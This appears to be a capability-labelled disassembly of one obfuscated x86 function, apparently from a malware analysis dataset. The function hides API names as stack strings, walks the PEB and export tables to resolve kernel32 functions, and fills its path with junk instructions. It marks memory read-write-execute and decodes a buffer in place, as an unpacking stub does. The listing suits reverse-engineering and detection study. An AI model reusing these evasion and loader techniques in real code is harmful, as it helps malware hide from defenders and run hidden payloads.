Function at 0x650180c1
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov byte [ebp - 0xb6c], 0x72
mov byte [ebp - 0xb6b], 0x6f
mov byte [ebp - 0xb6a], 0x74
mov byte [ebp - 0xb69], 0x65
mov byte [ebp - 0xb68], 0x63
mov byte [ebp - 0xb67], 0x74
mov byte [ebp - 0xb66], 0
push ecx
and ecx, 0x17ed4
sub ecx, 0x10572
xor ecx, 0xefb1
xor ecx, 0xf7b9
pop ecx
push ecx
push edx
add esp, 4
or ecx, 0x1250a
xor ecx, 0x64c5
add ecx, 0xba03
add byte [eax], al
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f9c], ecx
mov edx, dword [ebp - 0x1f9c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1fa0], eax
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x1948], ecx
push edx
or edx, 0xf2d6
add edx, 0x1066b
xor edx, 0x3d49
add edx, 0x17457
pop edx
push eax
push eax
add esp, 4
sub eax, 0x1281c
xor eax, 0xe9b0
jmp 0x65017cfc
pop eax
cmp dword [ebp - 0x1948], 0
jne 0x65017d15
mov dword [ebp - 0x378], 0
jmp 0x65017fd1
mov edx, dword [ebp - 0x1948]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
or al, 0x89
lea esp, [ecx + esi*8]
invalid
call dword [edi + 0x52]
add esp, 4
sub edi, 0x16280
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0xc04b
pop ecx
push edi
xor edi, 0x10a05
add edi, 0xf7c
and edi, 0x10fdb
sub edi, 0x2553
pop edi
cmp dword [ebp - 0xedc], 0
jne 0x65017d71
mov dword [ebp - 0x378], 0
jmp 0x65017fd1
mov edx, dword [ebp - 0xedc]
mov dword [ebp - 0x5e0], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x1775f
and ebx, 0x1058d
sub ebx, 0x4946
sub ebx, 0xcaca
pop ebx
push ebx
and ebx, 0xfb6b
add ebx, 0x1845a
xor ebx, 0xbb18
pop ebx
lea eax, [ebp - 0x1a88]
mov dword [ebp - 0xed8], eax
mov ecx, dword [ebp - 0x5e0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xed4], edx
xor eax, eax
mov word [ebp - 0x27c], ax
xor ecx, ecx
mov word [ebp - 0x144], cx
push ebx
push edi
add esp, 4
sub ebx, 0x4352
xor ebx, 0x12d71
or ebx, 0x1c80
add ebx, 0xadd9
pop ebx
push ecx
or ecx, 0x27b2
or ecx, 0xaf17
or ecx, 0xa108
pop ecx
mov edx, dword [ebp - 0xed4]
mov ax, word [edx]
mov word [ebp - 0x12d2], ax
mov ecx, dword [ebp - 0xed4]
add ecx, 2
mov dword [ebp - 0xed4], ecx
mov dx, word [ebp - 0x12d2]
mov word [ebp - 0x27c], dx
mov eax, dword [ebp - 0xed8]
mov cx, word [eax]
mov word [ebp - 0x12d4], cx
mov edx, dword [ebp - 0xed8]
add edx, 2
mov dword [ebp - 0xed8], edx
mov ax, word [ebp - 0x12d4]
mov word [ebp - 0x144], ax
push ecx
and ecx, 0xaf06
pop ecx
push edi
push eax
add esp, 4
and edi, 0x16496
pop edi
push edi
or edi, 0x14dc5
pop edi
push ecx
sub ecx, 0x1e08
and ecx, 0xf356
pop ecx
push ecx
xor ecx, 0x570f
pop ecx
movzx ecx, word [ebp - 0x144]
test ecx, ecx
jne 0x65017ebd
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
sub edx, eax
mov dword [ebp - 0x1950], edx
jmp 0x65017f20
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x144]
cmp ecx, edx
je 0x65017ddc
movzx eax, word [ebp - 0x27c]
xor eax, 0x20
movzx ecx, word [ebp - 0x144]
cmp eax, ecx
je 0x65017ddc
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
cmp edx, eax
jge 0x65017f0a
mov dword [ebp - 0x194c], 0xffffffff
jmp 0x65017f14
mov dword [ebp - 0x194c], 1
mov ecx, dword [ebp - 0x194c]
mov dword [ebp - 0x1950], ecx
cmp dword [ebp - 0x1950], 0
jne 0x65017f69
push ebx
push eax
add esp, 4
xor ebx, 0x16d38
and ebx, 0x9289
xor ebx, 0x1105e
add ebx, 0x816b
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x15215
jmp 0x65017f5a
pop esi
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x378], edx
jmp 0x65017fd1
push edx
push ebx
add esp, 4
or edx, 0x11ac6
add edx, 0xa770
xor edx, 0xa81a
pop edx
push ecx
or ecx, 0x7f23
and ecx, 0x123e8
and ecx, 0x165db
and ecx, 0xe044
pop ecx
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [eax]
mov dword [ebp - 0x5e0], ecx
mov edx, dword [ebp - 0x5e0]
cmp edx, dword [ebp - 0xedc]
je 0x65017fc7
mov eax, dword [ebp - 0x5e0]
cmp dword [eax + 0x30], 0
jne 0x65017d7d
mov dword [ebp - 0x378], 0
push ecx
xor ecx, 0x85ae
call 0x65017fe7
add byte [ebp + 0x35], al
cmp al, byte [edi + 0x3f]
inc eax
xor al, 0x50
add esp, 4
sub ecx, 0x107ca
pop ecx
push edi
push edi
add esp, 4
and edi, 0x4061
and edi, 0xee81
pop edi
cmp dword [ebp - 0x378], 0
jne 0x6501891d
mov ecx, 0x6b
mov word [ebp - 0x1b44], cx
mov edx, 0x65
mov word [ebp - 0x1b42], dx
mov eax, 0x72
mov word [ebp - 0x1b40], ax
mov ecx, 0x6e
mov word [ebp - 0x1b3e], cx
mov edx, 0x65
mov word [ebp - 0x1b3c], dx
mov eax, 0x6c
mov word [ebp - 0x1b3a], ax
mov ecx, 0x33
mov word [ebp - 0x1b38], cx
mov edx, 0x32
mov word [ebp - 0x1b36], dx
mov eax, 0x2e
mov word [ebp - 0x1b34], ax
mov ecx, 0x64
mov word [ebp - 0x1b32], cx
mov edx, 0x6c
mov word [ebp - 0x1b30], dx
mov eax, 0x6c
mov word [ebp - 0x1b2e], ax
xor ecx, ecx
mov word [ebp - 0x1b2c], cx
push ebx
push ecx
add esp, 4
and ebx, 0xd32e
call 0x650180c1
add byte [edi + 0x39], al
xor cl, byte [ebx + 0x46]
push eax
xor al, byte [ebx + 0x535b04c4]
or ebx, 0x116d1
pop ebx
push edi
add edi, 0x1526c
sub edi, 0x1868b
pop edi
mov byte [ebp - 0xb14], 0x4c
mov byte [ebp - 0xb13], 0x6f
mov byte [ebp - 0xb12], 0x61
mov byte [ebp - 0xb11], 0x64
mov byte [ebp - 0xb10], 0x4c
mov byte [ebp - 0xb0f], 0x69
mov byte [ebp - 0xb0e], 0x62
mov byte [ebp - 0xb0d], 0x72
mov byte [ebp - 0xb0c], 0x61
mov byte [ebp - 0xb0b], 0x72
mov byte [ebp - 0xb0a], 0x79
mov byte [ebp - 0xb09], 0x57
mov byte [ebp - 0xb08], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fa4], edx
mov eax, dword [ebp - 0x1fa4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fa8], ecx
mov edx, dword [ebp - 0x1fa8]
mov dword [ebp - 0x1954], edx
push eax
and eax, 0xc29a
pop eax
push ebx
push esi
add esp, 4
call 0x65018177
add byte [eax + 0x4d], dl
dec eax
xor eax, 0x4c48335
sub ebx, 0x17e6
jmp 0x65018189
sub ebx, 0x10b88
pop ebx
cmp dword [ebp - 0x1954], 0
jne 0x650181a8
mov dword [ebp - 0x8ac], 0
jmp 0x65018464
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xee8], edx
push edx
push edi
add esp, 4
sub edx, 0x160c0
and edx, 0x13573
add edx, 0x803c
and edx, 0x10661
pop edx
push ebx
jmp 0x650181df
or ebx, 0x17cb3
add ebx, 0xf469
pop ebx
cmp dword [ebp - 0xee8], 0
jne 0x65018204
mov dword [ebp - 0x8ac], 0
jmp 0x65018464
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x5e4], eax
push eax
add eax, 0x37ea
pop eax
push esi
or esi, 0xd0a8
pop esi
push eax
and eax, 0x15a29
or eax, 0xd6cb
pop eax
push edi
or edi, 0x135da
and edi, 0xff66
or edi, 0x2821
pop edi
lea ecx, [ebp - 0x1b44]
mov dword [ebp - 0xee4], ecx
mov edx, dword [ebp - 0x5e4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xee0], eax
xor ecx, ecx
mov word [ebp - 0x280], cx
xor edx, edx
mov word [ebp - 0x148], dx
push eax
or eax, 0x2ba3
call 0x65018286
add byte [ecx], bh
cmp eax, 0x3f454c47
xor edi, dword [0xc483423b]
add al, 0x81
call 0x6501887c
call 0x6501829d
add byte [ecx + 0x32], al
inc eax
cmp eax, dword [ebp + 0x43]
xor dh, byte [ebx]
add esp, 4
pop eax
mov eax, dword [ebp - 0xee0]
mov cx, word [eax]
mov word [ebp - 0x12d6], cx
mov edx, dword [ebp - 0xee0]
add edx, 2
mov dword [ebp - 0xee0], edx
mov ax, word [ebp - 0x12d6]
mov word [ebp - 0x280], ax
mov ecx, dword [ebp - 0xee4]
mov dx, word [ecx]
mov word [ebp - 0x12d8], dx
mov eax, dword [ebp - 0xee4]
add eax, 2
mov dword [ebp - 0xee4], eax
mov cx, word [ebp - 0x12d8]
mov word [ebp - 0x148], cx
push ebx
call 0x6501830b
add byte [esi + 0x43], cl
cmp dword [ebx], esi
inc ebx
xor eax, 0xc4833339
add al, 0x81
sub ah, byte [esi]
add byte [ebx + 0x52], bl
push ebx
add esp, 4
add edx, 0x1d7f
pop edx
push edi
push edx
add esp, 4
and edi, 0x10fd1
pop edi
movzx edx, word [ebp - 0x148]
test edx, edx
jne 0x65018350
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
sub eax, ecx
mov dword [ebp - 0x195c], eax
jmp 0x650183b3
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x148]
cmp edx, eax
je 0x6501826f
movzx ecx, word [ebp - 0x280]
xor ecx, 0x20
movzx edx, word [ebp - 0x148]
cmp ecx, edx
je 0x6501826f
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
cmp eax, ecx
jge 0x6501839d
mov dword [ebp - 0x1958], 0xffffffff
jmp 0x650183a7
mov dword [ebp - 0x1958], 1
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x195c], edx
cmp dword [ebp - 0x195c], 0
jne 0x650183fc
push ebx
jmp 0x650183c4
call 0x650183d3
add byte [eax + 0x38], al
inc ebx
cmp dword [edx + 0x33], eax
inc ebp
push eax
dec eax
add esp, 4
add ebx, 0x15adb
sub ebx, 0x1731e
pop ebx
push edi
jmp 0x650183ed
pop edi
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x8ac], eax
jmp 0x65018464
push esi
xor esi, 0xac30
xor esi, 0x13b6a
sub esi, 0x137e5
pop esi
push esi
push eax
add esp, 4
xor esi, 0x1556d
call 0x6501842a
add byte [esi + 0x3d], al
xor eax, 0x3e3c4d3e
xor bh, byte [esi]
add esp, 4
pop esi
mov ecx, dword [ebp - 0x5e4]
mov edx, dword [ecx]
mov dword [ebp - 0x5e4], edx
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0xee8]
je 0x6501845a
mov ecx, dword [ebp - 0x5e4]
cmp dword [ecx + 0x30], 0
jne 0x65018210
mov dword [ebp - 0x8ac], 0
push eax
push edx
add esp, 4
and eax, 0xb6a7
xor eax, 0xff66
jmp 0x6501847a
call 0x65018486
add byte [ebx], dh
push eax
inc ebx
cmp eax, dword [ebp + 0x4a]
add esp, 4
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x5512
pop ebx
cmp dword [ebp - 0x8ac], 0
jne 0x650184e0
push ebx
or ebx, 0x4a69
pop ebx
push esi
jmp 0x650184ad
pop esi
push ecx
push eax
add esp, 4
jmp 0x650184b8
xor ecx, 0xef99
add ecx, 0xbf8d
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x13031
pop ecx
mov dword [ebp - 0xc1c], 0
jmp 0x6501901d
push ecx
push edi
add esp, 4
or ecx, 0x11637
jmp 0x650184f1
or ecx, 0xe57d
jmp 0x650184fd
pop ecx
push eax
xor eax, 0x16660
jmp 0x6501850b
add eax, 0x6308
pop eax
mov edx, dword [ebp - 0x8ac]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x8bc], 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp - 0x19a0], ecx
cmp dword [ebp - 0x19a0], 0
jne 0x65018551
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x65018842
mov eax, dword [ebp - 0x19a0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19a4], ecx
jne 0x65018579
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x65018842
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19a4]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19a8], eax
cmp dword [ebp - 0x19a8], 0
jne 0x650185ab
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
jmp 0x65018842
mov edx, dword [ebp - 0x3d0]
add edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x8b0], edx
jne 0x650185d0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], eax
jmp 0x65018842
mov ecx, dword [ebp - 0x8b0]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x23b8], edx
mov eax, dword [ebp - 0x8b0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fac], ecx
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fb0], eax
mov dword [ebp - 0x8b4], 0
jmp 0x6501862a
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [edx + 0x18]
jae 0x65018836
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x23b8]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8b8], eax
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x1fac]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fb0]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fb4], edx
mov dword [ebp - 0x1e8], 0
jmp 0x6501869a
mov eax, dword [ebp - 0x1e8]
add eax, 1
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x8b8]
add ecx, dword [ebp - 0x1e8]
movsx edx, byte [ecx]
test edx, edx
je 0x6501874c
mov eax, dword [ebp - 0x1e8]
movsx ecx, byte [ebp + eax - 0xb14]
test ecx, ecx
je 0x6501874c
push esi
push edx
add esp, 4
and esi, 0xbfce
xor esi, 0xb777
and esi, 0x160b
xor esi, 0x952e
pop esi
push eax
jmp 0x650186ec
sub eax, 0x5682
sub eax, 0xeb
pop eax
mov edx, dword [ebp - 0x8b8]
add edx, dword [ebp - 0x1e8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1e8]
movsx edx, byte [ebp + ecx - 0xb14]
cmp eax, edx
je 0x6501873e
mov eax, dword [ebp - 0x8b8]
add eax, dword [ebp - 0x1e8]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1e8]
movsx eax, byte [ebp + edx - 0xb14]
cmp ecx, eax
jne 0x65018745
jmp 0x6501868b
jmp 0x6501874c
jmp 0x6501868b
push ebx
call 0x6501875b
add byte [0x353f3948], bh
inc ecx
aas
cmp eax, 0x8104c483
jmp 0x65018747
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
cmp dword [ebp - 0x490], 0
je 0x6501891d
push eax
push edi
add esp, 4
xor eax, 0xac8f
jmp 0x65018863
and eax, 0x8d60
pop eax
push eax
push ecx
add esp, 4
jmp 0x65018874
sub eax, 0xafee
sub eax, 0xfb30
pop eax
mov edx, dword [ebp - 0x490]
mov dword [ebp - 0x1fb8], edx
push edx
push ebx
add esp, 4
or edx, 0x3f92
pop edx
push ecx
sub ecx, 0xbd85
or ecx, 0x1f23
add ecx, 0xc5a8
call 0x650188bb
add byte [esi], dh
inc esp
cmp al, byte [ecx + 0x38]
cmp al, byte [ebp + 0x36]
dec ebx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x1fb8]
mov dword [ebp - 0x1fbc], eax
lea ecx, [ebp - 0x1a88]
push ecx
call dword [ebp - 0x1fbc]
test eax, eax
jne 0x6501891d
push ebx
push ecx
add esp, 4
and ebx, 0xc847
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x2ec9
pop ebx
push eax
or eax, 0xb1c5
add eax, 0x1864e
xor eax, 0x89d8
jmp 0x6501890d
pop eax
mov dword [ebp - 0xc1c], 0
jmp 0x6501901d
push eax
and eax, 0xa33e
pop eax
push ecx
push edi
add esp, 4
sub ecx, 0xc09
and ecx, 0x16a6f
xor ecx, 0x17b18
call 0x6501894b
add byte [ecx + eax*2 + 0x36], al
xor bh, byte [esi]
dec ebp
dec edi
inc edx
xor eax, 0x5904c483
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fc0], edx
mov eax, dword [ebp - 0x1fc0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fc4], ecx
mov edx, dword [ebp - 0x1fc4]
mov dword [ebp - 0x19b0], edx
push edi
push edx
add esp, 4
sub edi, 0x2e1b
pop edi
push ecx
or ecx, 0x16fdc
and ecx, 0x9b3
or ecx, 0x2ec3
pop ecx
push esi
push ecx
add esp, 4
sub esi, 0x13717
sub esi, 0x177b0
pop esi
cmp dword [ebp - 0x19b0], 0
jne 0x650189c1
mov dword [ebp - 0x378], 0
jmp 0x65018c7d
mov eax, dword [ebp - 0x19b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xef8], edx
push edx
call 0x650189e1
add byte [esp + esi + 0x49], cl
inc edx
dec edi
dec esi
dec esi
add esp, 4
sub edx, 0xce5a
add edx, 0x2c9f
sub edx, 0x7263
pop edx
push esi
or esi, 0x4373
add esi, 0x16a13
pop esi
cmp dword [ebp - 0xef8], 0
jne 0x65018a1d
mov dword [ebp - 0x378], 0
jmp 0x65018c7d
mov eax, dword [ebp - 0xef8]
mov dword [ebp - 0x5e8], eax
push ebx
call 0x65018a36
add byte [edi], bh
dec esi
cmp dword [edx], edi
xor eax, dword [ecx - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x65018a3f
sbb al, 0
add byte [ebx + 0x50], bl
pop ebx
push eax
jmp 0x65018a49
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x16bb3
jmp 0x65018a5a
pop eax
lea ecx, [ebp - 0x1a88]
mov dword [ebp - 0xef4], ecx
mov edx, dword [ebp - 0x5e8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xef0], eax
xor ecx, ecx
mov word [ebp - 0x284], cx
xor edx, edx
mov word [ebp - 0x14c], dx
push eax
add eax, 0x10a66
xor eax, 0x904c
xor eax, 0x16a0c
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0x281a
xor ecx, 0x4efc
and ecx, 0xb038
xor ecx, 0x9153
pop ecx
mov eax, dword [ebp - 0xef0]
mov cx, word [eax]
mov word [ebp - 0x12da], cx
mov edx, dword [ebp - 0xef0]
add edx, 2
mov dword [ebp - 0xef0], edx
mov ax, word [ebp - 0x12da]
mov word [ebp - 0x284], ax
mov ecx, dword [ebp - 0xef4]
mov dx, word [ecx]
mov word [ebp - 0x12dc], dx
mov eax, dword [ebp - 0xef4]
add eax, 2
mov dword [ebp - 0xef4], eax
mov cx, word [ebp - 0x12dc]
mov word [ebp - 0x14c], cx
push ebx
sub ebx, 0x31a
pop ebx
push eax
push eax
add esp, 4
or eax, 0x2163
xor eax, 0x178bb
or eax, 0xd45c
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0x1efe
sub ebx, 0x18323
pop ebx
movzx edx, word [ebp - 0x14c]
test edx, edx
jne 0x65018b69
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
sub eax, ecx
mov dword [ebp - 0x19b8], eax
jmp 0x65018bcc
movzx edx, word [ebp - 0x284]
movzx eax, word [ebp - 0x14c]
cmp edx, eax
je 0x65018a88
movzx ecx, word [ebp - 0x284]
xor ecx, 0x20
movzx edx, word [ebp - 0x14c]
cmp ecx, edx
je 0x65018a88
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
cmp eax, ecx
jge 0x65018bb6
mov dword [ebp - 0x19b4], 0xffffffff
jmp 0x65018bc0
mov dword [ebp - 0x19b4], 1
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
cmp dword [ebp - 0x19b8], 0
jne 0x65018c15
push edi
push ebx
add esp, 4
or edi, 0xe118
xor edi, 0x4daf
pop edi
push eax
push ecx
add esp, 4
or eax, 0x15d60
pop eax
push esi
jmp 0x65018bfa
and esi, 0x4675
add esi, 0x10b86
pop esi
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x378], eax
jmp 0x65018c7d
push esi
push esi
add esp, 4
xor esi, 0x1460e
and esi, 0xd04e
pop esi
push eax
or eax, 0x1842
pop eax
push esi
jmp 0x65018c39
pop esi
push ecx
push esi
add esp, 4
jmp 0x65018c46
pop ecx
mov ecx, dword [ebp - 0x5e8]
mov edx, dword [ecx]
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0xef8]
je 0x65018c73
mov ecx, dword [ebp - 0x5e8]
cmp dword [ecx + 0x30], 0
jne 0x65018a29
mov dword [ebp - 0x378], 0
push ebx
push eax
add esp, 4
call 0x65018c91
add byte [esi + 0x49], cl
inc edx
cmp cl, byte [esp + ecx*2 + 0x45]
dec esp
add esp, 4
xor ebx, 0xecb1
pop ebx
push ecx
xor ecx, 0x15967
and ecx, 0x11a42
sub ecx, 0x1d5d
pop ecx
mov edx, dword [ebp - 0x378]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3cc], eax
push edx
sub edx, 0x11595
pop edx
push ebx
push ecx
add esp, 4
call 0x65018cda
add byte [ecx + eax*2 + 0x4b], cl
xor bh, byte [edx]
aaa
xor dh, byte [edi]
dec esp
add esp, 4
xor ebx, 0xc5bf
sub ebx, 0xa484
sub ebx, 0x14349
pop ebx
mov dword [ebp - 0x8cc], 0
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x19bc], ecx
cmp dword [ebp - 0x19bc], 0
jne 0x65018d20
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x65019011
mov eax, dword [ebp - 0x19bc]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19c0], ecx
jne 0x65018d48
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x65019011
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19c0]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19c4], eax
cmp dword [ebp - 0x19c4], 0
jne 0x65018d7a
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
jmp 0x65019011
mov edx, dword [ebp - 0x3cc]
add edx, dword [ebp - 0x19c4]
mov dword [ebp - 0x8c0], edx
jne 0x65018d9f
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], eax
jmp 0x65019011
mov ecx, dword [ebp - 0x8c0]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1fc8], edx
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fcc], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fd0], eax
mov dword [ebp - 0x8c4], 0
jmp 0x65018df9
mov ecx, dword [ebp - 0x8c4]
add ecx, 1
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x8c4]
cmp eax, dword [edx + 0x18]
jae 0x65019005
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fc8]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fcc]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fd0]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fd4], edx
mov dword [ebp - 0x1ec], 0
jmp 0x65018e69
mov eax, dword [ebp - 0x1ec]
add eax, 1
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
test edx, edx
je 0x65018f1b
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
test ecx, ecx
je 0x65018f1b
push edx
push edi
add esp, 4
add edx, 0xe644
or edx, 0x15e4d
xor edx, 0x13910
add edx, 0x184aa
pop edx
push eax
or eax, 0x3899
and eax, 0x186b
xor eax, 0xbbac
pop eax
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
cmp eax, edx
je 0x65018f0d
mov eax, dword [ebp - 0x8c8]
add eax, dword [ebp - 0x1ec]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1ec]
movsx eax, byte [ebp + edx - 0xb74]
cmp ecx, eax
jne 0x65018f14
jmp 0x65018e5a
jmp 0x65018f1b
push ebx
push ecx
add esp, 4
or ebx, 0x2b8a
or ebx, 0x5f61
or ebx, 0xe9bb
xor ebx, 0x11130
pop ebx
push eax
or eax, 0x3268
sub eax, 0x6a3f
add eax, 0x91e8
pop eax
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
cmp edx, ecx
jne 0x65018f7a
mov dword [ebp - 0xefc], 0
jmp 0x65018fe9
push eax
push eax
add esp, 4
sub eax, 0x13433
and eax, 0x3d8b
xor eax, 0xa452
pop eax
push edx
sub edx, 0xc224
and edx, 0x1b5b
or edx, 0xadd0
or edx, 0xd2ea
pop edx
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
or edx, 0x20
cmp eax, edx
jge 0x65018fdf
mov dword [ebp - 0xefc], 0xffffffff
jmp 0x65018fe9
mov dword [ebp - 0xefc], 1
cmp dword [ebp - 0xefc], 0
jne 0x65019000
mov eax, dword [ebp - 0x1fd4]
mov dword [ebp - 0x5ec], eax
jmp 0x65019011
jmp 0x65018dea
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
mov edx, dword [ebp - 0x5ec]
mov dword [ebp - 0xc1c], edx
push esi
sub esi, 0x2e2e
add esi, 0x162dc
or esi, 0xf48a
or esi, 0xd65f
pop esi
push edi
push ebx
add esp, 4
xor edi, 0x7b71
add edi, 0xbd97
add edi, 0x8529
pop edi
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fd8], eax
lea ecx, [ebp - 0xf00]
push ecx
push 0x40
mov edx, dword [ebp - 0x19c8]
push edx
mov eax, dword [ebp - 0x494]
push eax
call dword [ebp - 0x1fd8]
test eax, eax
jne 0x650190c2
push esi
xor esi, 0x16151
call 0x65019090
add byte [edx], dh
xor eax, 0x3e3e3f4c
dec esp
add esp, 4
pop esi
push ebx
push edi
add esp, 4
jmp 0x650190a1
sub ebx, 0xfc8e
add ebx, 0x139e0
pop ebx
mov ecx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fdc], ecx
push 0
call dword [ebp - 0x1fdc]
mov edx, dword [ebp - 0x1fe0]
mov dword [ebp - 0x8d0], edx
jmp 0x650190df
mov eax, dword [ebp - 0x8d0]
add eax, 1
mov dword [ebp - 0x8d0], eax
mov ecx, dword [ebp - 0x8d0]
cmp ecx, dword [ebp - 0xc20]
jae 0x6501913b
push eax
push esi
add esp, 4
and eax, 0x126f8
pop eax
push edx
push edx
add esp, 4
jmp 0x65019104
pop edx
push edx
and edx, 0xced2
add edx, 0x5502
pop edx
push esi
push ebx
add esp, 4
or esi, 0x49d5
pop esi
movzx edx, byte [ebp - 0x459]
mov eax, dword [ebp - 0x8d0]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x8d0]
mov byte [edx], cl
jmp 0x650190d0
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fe4], eax
lea ecx, [ebp - 0xf00]
push ecx
mov edx, dword [ebp - 0xf00]
push edx
mov eax, dword [ebp - 0x19c8]
push eax
mov ecx, dword [ebp - 0x494]
push ecx
call dword [ebp - 0x1fe4]
test eax, eax
jne 0x650191b3
